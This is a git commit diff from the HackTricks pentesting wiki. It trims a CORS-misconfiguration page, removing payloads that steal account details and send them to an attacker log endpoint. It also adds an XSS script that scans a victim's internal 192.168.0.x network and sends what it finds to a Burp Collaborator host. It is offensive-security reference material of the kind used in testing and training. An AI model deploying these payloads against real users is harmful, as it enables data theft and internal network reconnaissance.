mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
GitBook: [#2862] xss find internal ips
This commit is contained in:
parent
db02952c42
commit
3a19236b57
2 changed files with 57 additions and 54 deletions
|
@ -60,21 +60,7 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### Pre-flight request
|
||||
|
||||
Under certain circumstances, when a cross-domain request: 
|
||||
|
||||
* includes a **non-standard HTTP method (HEAD, GET, POST)**
|
||||
* includes new** headers**
|
||||
* includes special** Content-Type header value**
|
||||
|
||||
{% hint style="info" %}
|
||||
**Check** [**in this link**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **the conditions of a request to avoid sending of a pre-flight request**
|
||||
{% endhint %}
|
||||
|
||||
the cross-origin request is preceded by a **request** using the **`OPTIONS`** **method**, and the CORS protocol necessitates an initial check on what **methods and headers are permitted prior to allowing the cross-origin request**. This is called the **pre-flight check**. The server **returns a list of allowed methods** in addition to the **trusted origin** and the browser checks to see if the requesting website's method is allowed.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Note that **even if a pre-flight request isn't sent** because the "regular request" conditions are respected, the **response needs to have the authorization headers** or the **browser** **won't be able to read the response** of the request.
|
||||
{% endhint %}
|
||||
Under certain circumstances, when a cross-domain request includes a **non-standard HTTP method or headers**, the cross-origin request is preceded by a **request** using the **`OPTIONS`** **method**, and the CORS protocol necessitates an initial check on what **methods and headers are permitted prior to allowing the cross-origin request**. This is called the **pre-flight check**. The server **returns a list of allowed methods** in addition to the **trusted origin** and the browser checks to see if the requesting website's method is allowed.
|
||||
|
||||
For **example**, this is a pre-flight request that is seeking to **use the `PUT` method** together with a **custom** request **header** called `Special-Request-Header`:
|
||||
|
||||
|
@ -111,6 +97,10 @@ Access-Control-Max-Age: 240
|
|||
Note that usually (depending on the content-type and headers set) in a **GET/POST request no pre-flight request is sent** (the request is sent **directly**), but if you want to access the **headers/body of the response**, it must contains an _Access-Control-Allow-Origin_ header allowing it.\
|
||||
**Therefore, CORS doesn't protect against CSRF (but it can be helpful).**
|
||||
|
||||
{% hint style="info" %}
|
||||
**Check** [**in this link**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) **the conditions of a request to avoid sending of a pre-flight request**
|
||||
{% endhint %}
|
||||
|
||||
## Exploitable misconfigurations
|
||||
|
||||
Notice that most of the **real attacks require `Access-Control-Allow-Credentials`** to be set to **`true`** because this will allow the browser to send the credentials and read the response. Without credentials, many attacks become irrelevant; it means you can't ride on a user's cookies, so there is often nothing to be gained by making their browser issue the request rather than issuing it yourself.
|
||||
|
@ -126,49 +116,13 @@ In that case, the **same vulnerability might be exploited.**
|
|||
|
||||
In other cases, the developer could check that the **domain** (_victimdomain.com_) **appears** in the **Origin header**, then, an attacker can use a domain called **`attackervictimdomain.com`** to steal the confidential information.
|
||||
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='/log?key='+this.responseText;
|
||||
};
|
||||
</script>
|
||||
```
|
||||
|
||||
### The `null` Origin
|
||||
|
||||
`null` is a special value for the **Origin** header. The specification mentions it being triggered by redirects, and local HTML files. Some applications might whitelist the `null` origin to support local development of the application.\
|
||||
This is nice because **several application will allow this value** inside the CORS and any **website can easily obtain the null origin using a sandboxed iframe**:
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```markup
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'></iframe>
|
||||
```
|
||||
|
||||
### **Regexp bypasses**
|
||||
|
@ -183,7 +137,7 @@ The `_` character (in subdomains) is not only supported in Safari, but also in C
|
|||
|
||||
**Then, using one of those subdomains you could bypass some "common" regexps to find the main domain of a URL.**
|
||||
|
||||
**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)\*\*\*\*
|
||||
|
||||
![](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
|
|
|
@ -710,6 +710,55 @@ xhr.open('GET', url, true);
|
|||
xhr.send(null);
|
||||
```
|
||||
|
||||
### Find internal IPs
|
||||
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
|
||||
var wait = 2000
|
||||
var n_threads = 51
|
||||
|
||||
// Prepare the fetchUrl functions to access all the possible
|
||||
for(i=1;i<=255;i++){
|
||||
q.push(
|
||||
function(url){
|
||||
return function(){
|
||||
fetchUrl(url, wait);
|
||||
}
|
||||
}('http://192.168.0.'+i+':8080'));
|
||||
}
|
||||
|
||||
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
|
||||
for(i=1; i<=n_threads; i++){
|
||||
if(q.length) q.shift()();
|
||||
}
|
||||
|
||||
function fetchUrl(url, wait){
|
||||
console.log(url)
|
||||
var controller = new AbortController(), signal = controller.signal;
|
||||
fetch(url, {signal}).then(r=>r.text().then(text=>
|
||||
{
|
||||
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
|
||||
}
|
||||
))
|
||||
.catch(e => {
|
||||
if(!String(e).includes("The user aborted a request") && q.length) {
|
||||
q.shift()();
|
||||
}
|
||||
});
|
||||
|
||||
setTimeout(x=>{
|
||||
controller.abort();
|
||||
if(q.length) {
|
||||
q.shift()();
|
||||
}
|
||||
}, wait);
|
||||
}
|
||||
</script>
|
||||
|
||||
```
|
||||
|
||||
### Port Scanner (fetch)
|
||||
|
||||
```javascript
|
||||
|
|
Loading…
Reference in a new issue